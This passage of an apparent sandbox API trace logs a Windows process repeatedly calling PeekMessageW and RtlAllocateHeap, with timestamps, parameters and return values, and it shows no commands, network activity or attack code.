lpMsg=0xbdf4bc) returned 0 [0132.167] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0132.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b40 [0132.167] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.167] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0b8 [0132.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0132.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0132.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015fc0 [0132.168] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.168] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf108 [0132.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0132.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b80 [0132.168] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.168] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0132.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0c8 [0132.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556d0 [0132.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b40 [0132.168] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.168] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0b8 [0132.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1a8 [0132.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0132.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e40 [0132.168] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.168] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1a8 [0132.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055470 [0132.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10161c0 [0132.169] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.169] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf238 [0132.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055530 [0132.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0132.169] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.169] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1c8 [0132.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0132.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10161c0 [0132.169] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.169] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.169] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.170] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.170] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.197] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.197] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.197] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.197] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.198] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.199] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.200] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.200] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.200] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.200] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.200] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.200] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.200] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.200] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.200] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.200] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.200] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.200] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.200] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.200] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.200] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.200] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.200] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.200] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.201] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.202] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.202] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.202] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.202] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.202] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.202] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.202] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.202] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.202] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.202] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.202] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.305] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.305] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.305] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.306] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.306] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.306] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.306] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 